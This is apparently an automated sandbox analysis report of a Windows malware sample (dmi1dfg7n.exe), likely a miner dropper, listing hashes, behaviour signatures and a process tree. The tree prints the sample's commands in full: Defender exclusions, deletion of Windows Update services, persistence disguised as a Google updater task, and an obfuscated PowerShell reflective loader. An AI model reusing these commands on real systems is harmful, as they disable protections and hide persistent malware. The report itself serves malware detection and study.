Analysis
-
max time kernel
40s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
13-07-2023 09:43
Static task
static1
Behavioral task
behavioral1
Sample
dmi1dfg7n.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
dmi1dfg7n.exe
Resource
win10v2004-20230703-en
General
-
Target
dmi1dfg7n.exe
-
Size
2.8MB
-
MD5
9253ed091d81e076a3037e12af3dc871
-
SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981
-
SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
-
SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
-
SSDEEP
49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 2968 created 424 2968 powershell.EXE winlogon.exe PID 1788 created 424 1788 powershell.EXE winlogon.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 776 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2024 taskeng.exe -
Drops file in System32 directory 17 IoCs
Processes:
WMIADAP.EXEpowershell.EXEpowershell.EXEpowershell.exedescription ioc process File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini WMIADAP.EXE File created C:\Windows\system32\perfc00A.dat WMIADAP.EXE File created C:\Windows\system32\perfc00C.dat WMIADAP.EXE File created C:\Windows\system32\perfh011.dat WMIADAP.EXE File created C:\Windows\system32\perfc007.dat WMIADAP.EXE File created C:\Windows\system32\perfh007.dat WMIADAP.EXE File created C:\Windows\system32\perfh00C.dat WMIADAP.EXE File created C:\Windows\system32\perfc011.dat WMIADAP.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\system32\perfh009.dat WMIADAP.EXE File created C:\Windows\system32\perfc010.dat WMIADAP.EXE File created C:\Windows\system32\perfh010.dat WMIADAP.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Windows\system32\perfc009.dat WMIADAP.EXE File created C:\Windows\system32\perfh00A.dat WMIADAP.EXE File created C:\Windows\system32\PerfStringBackup.TMP WMIADAP.EXE -
Suspicious use of SetThreadContext 3 IoCs
Processes:
dmi1dfg7n.exepowershell.EXEpowershell.EXEdescription pid process target process PID 2000 set thread context of 2744 2000 dmi1dfg7n.exe dialer.exe PID 2968 set thread context of 1996 2968 powershell.EXE dllhost.exe PID 1788 set thread context of 2736 1788 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
dmi1dfg7n.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe -
Drops file in Windows directory 10 IoCs
Processes:
svchost.exeWMIADAP.EXEdialer.exedescription ioc process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File opened for modification C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File created C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini WMIADAP.EXE File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe File created C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc64.job svchost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File created C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File created C:\Windows\Tasks\dialersvc32.job dialer.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2052 sc.exe 3056 sc.exe 2788 sc.exe 2144 sc.exe 2488 sc.exe 1540 sc.exe 2924 sc.exe 1068 sc.exe 2272 sc.exe 2416 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2908 schtasks.exe 2856 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0f6808f6eb5d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEpowershell.exedllhost.exepid process 2104 powershell.exe 2492 powershell.exe 2292 powershell.exe 2968 powershell.EXE 2968 powershell.EXE 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1788 powershell.EXE 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 844 powershell.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1788 powershell.EXE 1996 dllhost.exe 1996 dllhost.exe 2736 dllhost.exe 2736 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 2736 dllhost.exe 2736 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe 1996 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exepowershell.exedllhost.exedescription pid process Token: SeDebugPrivilege 2104 powershell.exe Token: SeShutdownPrivilege 1080 powercfg.exe Token: SeDebugPrivilege 2492 powershell.exe Token: SeShutdownPrivilege 2860 powercfg.exe Token: SeShutdownPrivilege 2912 powercfg.exe Token: SeShutdownPrivilege 3044 powercfg.exe Token: SeDebugPrivilege 2292 powershell.exe Token: SeDebugPrivilege 2968 powershell.EXE Token: SeDebugPrivilege 2968 powershell.EXE Token: SeDebugPrivilege 1996 dllhost.exe Token: SeDebugPrivilege 1788 powershell.EXE Token: SeAuditPrivilege 852 svchost.exe Token: SeDebugPrivilege 844 powershell.exe Token: SeDebugPrivilege 1788 powershell.EXE Token: SeDebugPrivilege 2736 dllhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dmi1dfg7n.execmd.execmd.exepowershell.exedescription pid process target process PID 2000 wrote to memory of 2104 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2104 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2104 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2484 2000 dmi1dfg7n.exe cmd.exe PID 2000 wrote to memory of 2484 2000 dmi1dfg7n.exe cmd.exe PID 2000 wrote to memory of 2484 2000 dmi1dfg7n.exe cmd.exe PID 2000 wrote to memory of 2504 2000 dmi1dfg7n.exe cmd.exe PID 2000 wrote to memory of 2504 2000 dmi1dfg7n.exe cmd.exe PID 2000 wrote to memory of 2504 2000 dmi1dfg7n.exe cmd.exe PID 2000 wrote to memory of 2492 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2492 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2492 2000 dmi1dfg7n.exe powershell.exe PID 2484 wrote to memory of 1540 2484 cmd.exe sc.exe PID 2484 wrote to memory of 1540 2484 cmd.exe sc.exe PID 2484 wrote to memory of 1540 2484 cmd.exe sc.exe PID 2504 wrote to memory of 1080 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 1080 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 1080 2504 cmd.exe powercfg.exe PID 2484 wrote to memory of 2052 2484 cmd.exe sc.exe PID 2484 wrote to memory of 2052 2484 cmd.exe sc.exe PID 2484 wrote to memory of 2052 2484 cmd.exe sc.exe PID 2504 wrote to memory of 2860 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 2860 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 2860 2504 cmd.exe powercfg.exe PID 2492 wrote to memory of 2908 2492 powershell.exe schtasks.exe PID 2492 wrote to memory of 2908 2492 powershell.exe schtasks.exe PID 2492 wrote to memory of 2908 2492 powershell.exe schtasks.exe PID 2484 wrote to memory of 2924 2484 cmd.exe sc.exe PID 2484 wrote to memory of 2924 2484 cmd.exe sc.exe PID 2484 wrote to memory of 2924 2484 cmd.exe sc.exe PID 2484 wrote to memory of 3056 2484 cmd.exe sc.exe PID 2484 wrote to memory of 3056 2484 cmd.exe sc.exe PID 2484 wrote to memory of 3056 2484 cmd.exe sc.exe PID 2504 wrote to memory of 2912 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 2912 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 2912 2504 cmd.exe powercfg.exe PID 2484 wrote to memory of 1068 2484 cmd.exe sc.exe PID 2484 wrote to memory of 1068 2484 cmd.exe sc.exe PID 2484 wrote to memory of 1068 2484 cmd.exe sc.exe PID 2504 wrote to memory of 3044 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 3044 2504 cmd.exe powercfg.exe PID 2504 wrote to memory of 3044 2504 cmd.exe powercfg.exe PID 2484 wrote to memory of 1772 2484 cmd.exe reg.exe PID 2484 wrote to memory of 1772 2484 cmd.exe reg.exe PID 2484 wrote to memory of 1772 2484 cmd.exe reg.exe PID 2000 wrote to memory of 2744 2000 dmi1dfg7n.exe dialer.exe PID 2000 wrote to memory of 2744 2000 dmi1dfg7n.exe dialer.exe PID 2000 wrote to memory of 2744 2000 dmi1dfg7n.exe dialer.exe PID 2000 wrote to memory of 2744 2000 dmi1dfg7n.exe dialer.exe PID 2000 wrote to memory of 2292 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2292 2000 dmi1dfg7n.exe powershell.exe PID 2000 wrote to memory of 2292 2000 dmi1dfg7n.exe powershell.exe PID 2484 wrote to memory of 3040 2484 cmd.exe reg.exe PID 2484 wrote to memory of 3040 2484 cmd.exe reg.exe PID 2484 wrote to memory of 3040 2484 cmd.exe reg.exe PID 2484 wrote to memory of 2764 2484 cmd.exe reg.exe PID 2484 wrote to memory of 2764 2484 cmd.exe reg.exe PID 2484 wrote to memory of 2764 2484 cmd.exe reg.exe PID 2484 wrote to memory of 2728 2484 cmd.exe reg.exe PID 2484 wrote to memory of 2728 2484 cmd.exe reg.exe PID 2484 wrote to memory of 2728 2484 cmd.exe reg.exe PID 2484 wrote to memory of 1620 2484 cmd.exe reg.exe PID 2484 wrote to memory of 1620 2484 cmd.exe reg.exe PID 2484 wrote to memory of 1620 2484 cmd.exe reg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"2⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC4⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R2⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\system32\taskeng.exetaskeng.exe {DFEC1751-CA34-42F8-99FA-0048D7C8831E} S-1-5-18:NT AUTHORITY\System:Service:2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"5⤵
- Creates scheduled task(s)
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe xtrjicqmdliu4⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor6⤵
- Detects videocard installed
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"4⤵
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch1⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{277b5092-8185-45ce-9511-813fd48cfbff}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{c59ffc8c-8aa4-4735-abf5-584811b82506}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "10604751137710479-106610790149693191294463847220099919-2295864721914318322"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-17304980659662653238163448-414105043-184992969518442961956601337182114378480"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD54edfa18752e44bbf2073bf39eaab3b40
SHA1a32a85dffe7a34d10a1f20241309e51aff796675
SHA25642957cf3ef5fd80f5ddebeb0c6da51c429f9f1d06d19dcf064177a194e0bfaaf
SHA5128e019680ed728eeaeb3d8821cf1d3ccd4962d865c22146fcdfa5613d761ba4b2f1e5e3304d60757b4f428623387366dc59b7cac7b30360cf43c77d2572f94747
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD54edfa18752e44bbf2073bf39eaab3b40
SHA1a32a85dffe7a34d10a1f20241309e51aff796675
